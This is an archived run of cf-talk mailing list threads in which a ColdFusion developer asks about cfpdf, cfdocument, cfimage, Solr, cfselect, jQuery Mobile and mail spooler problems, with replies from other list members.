cfpdf package
Has anyone had any success using pdf packages and displaying it in any browsers other than ie 8? I'm generating a pdf from cfpdf with package=yes. The pdf opens in acrobat and ie8 but not in chrome,ff and ie9 and later. Thanks in advance, Tim Sample disclaimer text ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359619 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
cfdirectory issue
I have some code that's been working for years, but recently starting to act strange. Simple cfdirectory looking in a particular folder and listing out some files. Users are saying there are files in there and when I go in and check, there are! Cfdirectory returns me 0, no errors and DirectoryExists returns no. The strange thing is that nothing changes then suddenly half hr or hr later it starts to see it again. I can't imagine it being a permissions issue since it works intermittently. Any ideas? Thanks in advance... Sample disclaimer text ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:358713 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
generating and merging pdfs
I'm using cfpdf to merge roughly 3000 pdfs ( 50kb each). These pdfs were generated using cfdocument which only takes a couple of minutes. The issue I'm having now is when merging these pdfs, its taking down the server. I'm getting: Unable to instantiate com.adobe.internal.pdftoolkit.pdf.page.PDFPageLabels object from CosObject. Looks like I get to around 1600 pdfs which is about 40mbs. Is there another method I should be using for this monthly and quarterly process? We're trying to mail of statements. Any input would be greatly appreciated. We're on cf9 here. Thanks, Tim ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:357391 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
fedex tracking cfc
Can anybody point me in the right direction to get some implementation instruction using fedex's wsdl? They only have samples for vb.net, php, c# etc... Why is it so painful to find anything related to coldfusion and fedex implementation. I have an account number, identifier (meter) and an reference number (no tracking number) and would like to get tracking info from fedex. Any help would be appreciated. Thanks, Tim ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:356142 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
cfimage error
I have this bit of code that used to work in the past... but now I'm getting: An exception occurred while trying to read the image. javax.imageio.IIOException: Can't get input stream from URL! I verified that the image is still there and permissions are still the same. I'm able to display the image fine. We're on cf9. cfimage source=#getImage.imgName# action=info structName=FlrPlnInfo I'm just trying to get the width of the image. So I tried to use code below but just getting -1 for width and height. cfobject type=JAVA action=Create name=tk class=java.awt.Toolkit /cfobject cfobject type=JAVA action=Create name=img class=java.awt.Image /cfobject cfscript img = tk.getDefaultToolkit().getImage(#getImage.imgName#); width = img.getWidth(); height = img.getHeight(); /cfscript cfoutput#width#br /#height#/cfoutput Thanks! ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:353887 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: cfimage error
All images are RGB/BW no CMYK. -Original Message- From: Robert Harrison [mailto:rob...@austin-williams.com] Sent: Tuesday, January 15, 2013 1:48 PM To: cf-talk Subject: RE: cfimage error Is the image CYMK? That could cause a problem. Robert Harrison Director of Interactive Services Austin Williams Advertising I Branding I Digital I Direct 125 Kennedy Drive, Suite 100 I Hauppauge, NY 11788 T 631.231.6600 X 119 F 631.434.7022 http://www.austin-williams.com Blog: http://www.austin-williams.com/blog Twitter: http://www.twitter.com/austin_williams -Original Message- From: Tim Do [mailto:t...@wng.com] Sent: Tuesday, January 15, 2013 2:34 PM To: cf-talk Subject: cfimage error I have this bit of code that used to work in the past... but now I'm getting: An exception occurred while trying to read the image. javax.imageio.IIOException: Can't get input stream from URL! I verified that the image is still there and permissions are still the same. I'm able to display the image fine. We're on cf9. cfimage source=#getImage.imgName# action=info structName=FlrPlnInfo I'm just trying to get the width of the image. So I tried to use code below but just getting -1 for width and height. cfobject type=JAVA action=Create name=tk class=java.awt.Toolkit /cfobject cfobject type=JAVA action=Create name=img class=java.awt.Image /cfobject cfscript img = tk.getDefaultToolkit().getImage(#getImage.imgName#); width = img.getWidth(); height = img.getHeight(); /cfscript cfoutput#width#br /#height#/cfoutput Thanks! ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:353905 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: cfimage error
The images are all named correctly since I'm able to pull the images up and display them. The coldfusion server that the cfimage code resides on is calling the image from another server. I verified all permissions and even added everyone full access to test and it still didn't work. I created a virtual directory to the image server and the cfimage tag started working again. I'm not sure what security differences are between the methods but the virtual directory fixed my issue. -Original Message- From: Bill Moniz [mailto:hydro.b...@gmail.com] Sent: Tuesday, January 15, 2013 2:13 PM To: cf-talk Subject: Re: cfimage error Just because I ran into this CFimage problem yesterday... Are the images by any change named with the wrong extension? For example, a PNG inmage mistakenly named with a JPG extension? If you examine the first bit of the file in a hex editor, you can see the difference. Cheers. On 16 January 2013 08:57, Tim Do t...@wng.com wrote: All images are RGB/BW no CMYK. -Original Message- From: Robert Harrison [mailto:rob...@austin-williams.com] Sent: Tuesday, January 15, 2013 1:48 PM To: cf-talk Subject: RE: cfimage error Is the image CYMK? That could cause a problem. Robert Harrison Director of Interactive Services Austin Williams Advertising I Branding I Digital I Direct 125 Kennedy Drive, Suite 100 I Hauppauge, NY 11788 T 631.231.6600 X 119 F 631.434.7022 http://www.austin-williams.com Blog: http://www.austin-williams.com/blog Twitter: http://www.twitter.com/austin_williams -Original Message- From: Tim Do [mailto:t...@wng.com] Sent: Tuesday, January 15, 2013 2:34 PM To: cf-talk Subject: cfimage error I have this bit of code that used to work in the past... but now I'm getting: An exception occurred while trying to read the image. javax.imageio.IIOException: Can't get input stream from URL! I verified that the image is still there and permissions are still the same. I'm able to display the image fine. We're on cf9. cfimage source=#getImage.imgName# action=info structName=FlrPlnInfo I'm just trying to get the width of the image. So I tried to use code below but just getting -1 for width and height. cfobject type=JAVA action=Create name=tk class=java.awt.Toolkit /cfobject cfobject type=JAVA action=Create name=img class=java.awt.Image /cfobject cfscript img = tk.getDefaultToolkit().getImage(#getImage.imgName#); width = img.getWidth(); height = img.getHeight(); /cfscript cfoutput#width#br /#height#/cfoutput Thanks! ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:353908 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
solr issues
I'm trying to play with solr and having issues out of the gate. I'm getting: Unable to create collection insiteMenuLinks. Unable to create Solr collection insitemenulinks. An error occurred while creating the collection: org.apache.solr.common.SolrException. Check the Solr logs for more detail. I tried running the updates to cf9 so currently on 9.0.1 and reinstalled solr. I don't see anything in the 3 solr log files at all. The only thing I see happen is an empty folder insiteMenuLinks is generated. In cfadmin I do see core(0) under solr collections. Services are running since http://localhost:8983/solr/ this returns welcome to solr! Any ideas?? Thanks!, Tim ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352350 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: solr issues
Yes, I checked permissions. I just tried to create a test collection on our test and production server and they both work. Something's wrong w/ our dev machine. -Original Message- From: Dave Watts [mailto:dwa...@figleaf.com] Sent: Thursday, August 30, 2012 11:41 AM To: cf-talk Subject: Re: solr issues I'm trying to play with solr and having issues out of the gate. I'm getting: Unable to create collection insiteMenuLinks. Unable to create Solr collection insitemenulinks. An error occurred while creating the collection: org.apache.solr.common.SolrException. Check the Solr logs for more detail. I tried running the updates to cf9 so currently on 9.0.1 and reinstalled solr. I don't see anything in the 3 solr log files at all. The only thing I see happen is an empty folder insiteMenuLinks is generated. In cfadmin I do see core(0) under solr collections. Services are running since http://localhost:8983/solr/ this returns welcome to solr! Any ideas?? Is Solr running as a user with permissions to create files and directories in that location? Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ http://training.figleaf.com/ Fig Leaf Software is a Veteran-Owned Small Business (VOSB) on GSA Schedule, and provides the highest caliber vendor-authorized instruction at our training centers, online, or onsite. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352371 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
cfautosuggestvalue
I'm trying to use cfautosuggestvalue to populate an email field. I'd like for users to start typing in a first or last name and would see a list of last,first,email shown. Say Smith Joe jsm...@abc.com.In my cfc I have the query filtering for like lastname or firstname. In Firebug I see the search working, returning me both first names and last names but the dropdown list only has last name starting what the user has typed in (in this case all last names starting with S and Sam Jones wouldn't show). Is there a way to show all records returned from the cfc as suggestions or does the suggestions have to start with what the users are typing in? Thanks. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:350589 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
cfdocument cfpdf printing slow
I'm being told that print the pdf files that we generate using cfdocument and stapling with cfpdf are printing out really slowly (it sends to printer normally but spits out each page with a few secondd delay in between). Users are connecting through citrix and printing with various printers. Some are printing fine and some are printing slow. The users that are having issues are only having issues with pdfs that are generated internally. The issue could be citrix, printer drivers, or the pdf files. Have tried updating different drivers and would work for a while and the problem would come back again. The common denominator seems to be the pdf file generated using cf. Has anyone run into this?? Thanks, Tim ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:348545 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Custom Toolbar settings for cftextarea (FCKEditor)
Try creating another TolbarSets in the fckconfig file (CFIDE\scripts\ajax\FCKeditor). FCKConfig.ToolbarSets[myCustomToolbar] = [ ['Bold','Italic','-','OrderedList','UnorderedList','-','SpellCheck'] ] ; -Original Message- From: Torrent Girl [mailto:moniqueb...@gmail.com] Sent: Thursday, April 28, 2011 7:20 AM To: cf-talk Subject: Re: Custom Toolbar settings for cftextarea (FCKEditor) I see in the Toolbar Configuration seetings for FCKEditor on the FCKEditor site that the tools bar can be completely customized. I also notice that in the CF8 docs, that there are three settings for the toolbar display default|basic|custom. Now is the FCKEditor Toolbar buttons can be included/excluded per button, then isn't it possible to do the same through cftextarea? I didn't see the individual toolbar buttons as options in the CF8 docs, so I'm assuming it may need to be done in a file somewhere, such as the fckconfig.js file when using FCKEditor directly. However, when looking for such a file in the ColdFusion 8 installation folder, I couldn't find anything that might look like a file that contains toolbar specifications. Anyone successfully changed the buttons on the cftextarea toolbar configurations via changing a specification file, or by other means? I just want buttons for - font family - font color - font size - font weight - font style (Italics, etc) - insert image (with border, alignment settings) I think that's all. Any more, and the client will foul up my design. Has anyone successfully customized the cftextarea toolbar in such a manner? I am consider TinyMCE, but I'd rather keep this CF to keep from having to add yet another third-party app that I have to keep track of. Rick Hi all. I have tried this and everything else that I found on Goodle and nothing seems to work. I made changes to the basic toolbar and then added toolbar=basic to my cftextarea tag but when I view the page in the browser, I get a Basic toolbar cannot be found error. Any suggestions? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:344021 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: cfselect selected bug?
Thanks Azadi! -Original Message- From: Azadi Saryev [mailto:azadi.sar...@gmail.com] Sent: Monday, April 11, 2011 5:49 PM To: cf-talk Subject: Re: cfselect selected bug? that's a known issue with cf's json implementation. what you can do, is add a leading space to all your ids so cf stops stripping zeros . you will then need to trim that space on the back-end when user selections are submitted. Azadi On 12/04/2011 06:38 , Tim Do wrote: I have two dropdowns that I've made related using cfselect and bind. The problem I'm having is the default for the second drop down. It seems to work fine when the value of the second dropdown is a number that doesn't start with a zero, but I have IDs that start w/ 3-4 zeros. Somehow the leading zeros are getting stripped out during comparison? Anybody else run into this issue? Thanks, Tim ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:343672 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
cfselect selected bug?
I have two dropdowns that I've made related using cfselect and bind. The problem I'm having is the default for the second drop down. It seems to work fine when the value of the second dropdown is a number that doesn't start with a zero, but I have IDs that start w/ 3-4 zeros. Somehow the leading zeros are getting stripped out during comparison? Anybody else run into this issue? Thanks, Tim ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:343665 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: cf jquery mobile
Point taken, I was simply trying to convert a page over to mobile. I'm trying to use JQM and JQ now but finding it difficult to use jquery plugins on the mobile device. Ex: I'm trying to do a simple related select dropdowns and tried a couple of plugins, it works on my pc browser, but when I try on the blackberry or iphone it doesn't work. What I'm confused about is all of the samples that I'm seeing both jquery-1.5.1.min.js and jquery.mobile-1.0a3.min.js are being included. Does this mean that functions from jquery library will work on mobile devices? Or do I need to find specific plugins for jquery mobile? If so, am I screwed because I can't find any for a related select specific to mobile devices?? -Original Message- From: Raymond Camden [mailto:rcam...@gmail.com] Sent: Monday, March 14, 2011 6:07 PM To: cf-talk Subject: Re: cf jquery mobile I would also _strongly_ urge you not to mix CF's built in JS stuff with any other JS framework. You can do it - but most of the time it leads to trouble. If you are experienced enough to be working with JQM, you probably do not need the built-in CF client side form validation. Use a good jQuery plugin for that instead. On Mon, Mar 14, 2011 at 7:25 PM, andy matthews li...@commadelimited.com wrote: Without seeing code I couldn't be sure what was wrong, but jQuery Mobile is quite particular about pathing. My guess is that some of the script files aren't loading. Hit your site with Firefox (with Firebug turned on) and see if the javascript files needed for cfform are loading. andy -Original Message- From: Tim Do [mailto:t...@wng.com] Sent: Monday, March 14, 2011 10:51 AM To: cf-talk Subject: cf jquery mobile I'm playing around w/ jquery mobile and am struggling with how to get certain features of cf to work within jquery mobile. For instance, within my cfform the form validation and my related dropdown which I use cfselect and bind no long work. Why is this and is there a way to get this to work together? Thanks! ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:343058 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
cf jquery mobile
I'm playing around w/ jquery mobile and am struggling with how to get certain features of cf to work within jquery mobile. For instance, within my cfform the form validation and my related dropdown which I use cfselect and bind no long work. Why is this and is there a way to get this to work together? Thanks! ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:342994 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
cffile within cflayout doesn't work?
Has anyone run into an issue when uploading a file within a cflayout? After submitting, I get a element is undefined in form. When I take my form out of cflayout it works fine. Any ideas?? Thanks! Tim ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:341712 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: PDF printing issues
Thanks Mark... I used a couple of your suggestions to speed it up a bit. But the moment that I set the dpi from 600 to 300, bam! Pages printed beautifully. -Original Message- From: Mark A. Kruger [mailto:mkru...@cfwebtools.com] Sent: Monday, December 20, 2010 12:50 PM To: cf-talk Subject: RE: PDF printing issues Tim, There are many tips and tricks to optimizing your pdf generation. Most of them boil down to removing or streamlining the external resources needed. So, for example, if you use an exteneral CSS file, cfdocument has to... -Resolve the URL to the css file -get the CSS file via cfhttp -render the css into whatever is needed for pdf formatting using the rendering engine -Include the info in-line in the file. Multiply that times all images and external resources needed to produce the single file (unlike HTML everything must be in the file). If your PDF takes, say 25 images - that is 25 CF Threads to call those images etc. There are some ways around it and my blog has a lot of great documentation on this subject. http://www.coldfusionmuse.com Do a search for cfdocument and you'll get 4 or 5 articles and some tangential ones as well. -Mark Mark A. Kruger, MCSE, CFG (402) 408-3733 ext 105 Skype: markakruger www.cfwebtools.com www.coldfusionmuse.com www.necfug.com -Original Message- From: Tim Do [mailto:t...@wng.com] Sent: Monday, December 20, 2010 2:05 PM To: cf-talk Subject: PDF printing issues We're having a bit (HUGE) of a problem printing PDFs created by using cfdocument. We just updated our PDF generator to us CF instead of html2pdf. We are having many users complain that it takes 20-30 minutes to print out PDFs (20-25pgs). The file size itself is about 1mb so file size isn't the problem, although I did notice that the file size balloons up when in the queue, but I read its normal since PDF is compressed. It works on certain printers but not others, same make/model printers as well. We tried updating printer drivers on them but it would work on some but not all. Some of the printers are relatively new with newer drivers. So my question is.. is this a printer driver issue or is this an issue w/ how the PDFs are generated?? Anybody else having problems printer larger PDFs generated with cfdocument/cfpdf? Thanks, Tim ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:340187 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
PDF printing issues
We're having a bit (HUGE) of a problem printing PDFs created by using cfdocument. We just updated our PDF generator to us CF instead of html2pdf. We are having many users complain that it takes 20-30 minutes to print out PDFs (20-25pgs). The file size itself is about 1mb so file size isn't the problem, although I did notice that the file size balloons up when in the queue, but I read its normal since PDF is compressed. It works on certain printers but not others, same make/model printers as well. We tried updating printer drivers on them but it would work on some but not all. Some of the printers are relatively new with newer drivers. So my question is.. is this a printer driver issue or is this an issue w/ how the PDFs are generated?? Anybody else having problems printer larger PDFs generated with cfdocument/cfpdf? Thanks, Tim ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:340174 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
coldfusion standard edition version switched to developer edition?!
We just restarted the coldfusion server and now it's suddenly a developer edition on our live web server! I tried entering the coldfusion9 standard license in (in cfadmin) to update but it's asking for the old version's serial which I entered but it says the numbers don't match. Also, whats the update file box for? I left it blank and hit submit. PLEASE help! Thanks, Tim ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:339373 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: coldfusion standard edition version switched to developer edition?!
I was able to find a key that matched. Server is back up now. Question is, how/why did the config file get set to developer edition... it was never installed as a developer edition to begin with. -Original Message- From: Mike Chabot [mailto:mcha...@gmail.com] Sent: Thursday, November 18, 2010 12:52 PM To: cf-talk Subject: Re: coldfusion standard edition version switched to developer edition?! The easiest thing to do would be to enter the CF8 standard serial number. That is what I would do in your situation. I wonder what caused it to happen. Maybe the config file got messed up. If you keep server backups you could restore your CF config files from backup. -Mike Chabot On Thu, Nov 18, 2010 at 3:36 PM, Tim Do t...@wng.com wrote: We just restarted the coldfusion server and now it's suddenly a developer edition on our live web server! I tried entering the coldfusion9 standard license in (in cfadmin) to update but it's asking for the old version's serial which I entered but it says the numbers don't match. Also, whats the update file box for? I left it blank and hit submit. PLEASE help! Thanks, Tim ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:339378 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: coldfusion standard edition version switched to developer edition?!
It's been up for a while (around 6-8months?), and has been rebooted quite often I'd have to say... -Original Message- From: Ian Skinner [mailto:h...@ilsweb.com] Sent: Thursday, November 18, 2010 1:11 PM To: cf-talk Subject: Re: coldfusion standard edition version switched to developer edition?! On 11/18/2010 12:58 PM, Tim Do wrote: I was able to find a key that matched. Server is back up now. Question is, how/why did the config file get set to developer edition... it was never installed as a developer edition to begin with. How long was the server running? If it was something around 1 month, could it have unintentionally been configured as a 'trial'. Those run for 30 days as a full server with only a few differences and then revert to a developer edition at the end of the trial. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:339389 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
SpoolLockTimeoutException
An exception occurred when setting up mail server parameters. This exception was caused by: coldfusion.mail.MailSpooler$SpoolLockTimeoutException: A timeout occurred while waiting for the lock on the mail spool directory.. We've been getting this error recently and had to restart jrun to get it to start again. Reading that this is a common problem in versions 7/8 and can be fixed w/ hotfixes and even uninstalling latest updates but we're on 9 here. The worst thing about this is that users don't always tell you that the email alerts/reports didn't go out when they were supposed to, until it's a day or two later. I've had issues w/ the spooler piling up often, so I created a job to check the number of files in the spool directory and restart if it's greater than 20. But this latest error doesn't even add to the spool directory and emails don't go out even after a restart. Does anybody have any ideas/suggestions as to how to get notified as to when cfmail has choked? Whether it be from the spool directory being stuck or locked?? We send out so many emails throughout the day and night that it's impossible to check to see if every email was sent. Thanks! Tim ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:338830 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
cfdocument text cuts off at page break
I see quite a few posts on this bug but there seems to be only hot fixes for mx7 and 8, I'm on 9 so I figured it should've/would've been applied... The last line of the page gets cut off and the next page has the other half. I'm using cfsavecontent, building html and putting inside of cfdocument. Has anybody figured out how to fix this?? Thanks! Tim ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:338175 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: cfdocument text cuts off at page break
Yes, all text are inside table w/ complete html tags. -Original Message- From: Rick Root [mailto:rick.r...@gmail.com] Sent: Thursday, October 14, 2010 9:37 AM To: cf-talk Subject: Re: cfdocument text cuts off at page break On Thu, Oct 14, 2010 at 11:24 AM, Tim Do t...@wng.com wrote: I see quite a few posts on this bug but there seems to be only hot fixes for mx7 and 8, I'm on 9 so I figured it should've/would've been applied... The last line of the page gets cut off and the next page has the other half. I'm using cfsavecontent, building html and putting inside of cfdocument. Has anybody figured out how to fix this?? Is your text inside a table ce ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:338179 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: cfdocument text cuts off at page break
hmmm, so I removed the marginbottom attribute and it seems to have fixed it. -Original Message- From: Tony Bentley [mailto:cascadefreehee...@gmail.com] Sent: Thursday, October 14, 2010 9:56 AM To: cf-talk Subject: Re: cfdocument text cuts off at page break Why didn't Adobe fix some of the simple needed changes in CF9 for cfdocument? I have no idea. Known issues that suck: -THEAD does not carry over on page break. The solution? Use cfreportbuilder (god help me). - Border collapse does not work. The solution? Write some really funky inline styles at the first row of the table, last row of the table and first/last td of each row. (How much has this cost our company?) -Table breaks in the middle of a row. No solution. (Shoot me) ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:338182 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: cfdocument text cuts off at page break
I'm currently using CF_HTML2PDF3 and it's quite old and hangs the server pretty often. Since cfdocument isn't working, what's everybody else using to convert to pdf? -Original Message- From: Bryan Stevenson [mailto:br...@electricedgesystems.com] Sent: Thursday, October 14, 2010 11:53 AM To: cf-talk Subject: RE: cfdocument text cuts off at page break Hey Tim, No you have fixed this one instance...trust me I know...I've battled that same thing. If the amount of text varies, you WILL see this again. Cheers On Thu, 2010-10-14 at 10:01 -0700, Tim Do wrote: hmmm, so I removed the marginbottom attribute and it seems to have fixed it. Bryan Stevenson B.Comm. VP Director of E-Commerce Development Electric Edge Systems Group Inc. phone: 250.480.0642 fax: 250.480.1264 cell: 250.920.8830 e-mail: br...@electricedgesystems.com web: www.electricedgesystems.com Notice: This message, including any attachments, is confidential and may contain information that is privileged or exempt from disclosure. It is intended only for the person to whom it is addressed unless expressly authorized otherwise by the sender. If you are not an authorized recipient, please notify the sender immediately and permanently destroy all copies of this message and attachments. Please consider the environment before printing this e-mail ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:338188 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
cfpdf and cffileupload
I've been working with these tags a lot lately and am currently finding them a little buggy. It works for the most part beautifully but it seems like once in a while when doing a merge, one or more of the merged pdf files get the error insufficient data for an image. It's random as to which one since there are multiple files scanned and saved by same person in the same batch. I'm able to open the file w/ adobe reader 8 and 9 but when I do the merge to show as a package, a couple of files show the error. When I open the pdf in adobe 8 pro and re-save it as optimized pdf it works fine. So I tried optimizing the merged pdf (using cfpdf action=optimize) but that didn't work :( As with the cffileupload it works fine for everybody else but me since I'm using chrome. I get the status code: 302 error. No biggie but just a little annoying. Any insight would be greatly appreciated. Thanks, Tim ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:336411 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: cfmapitem
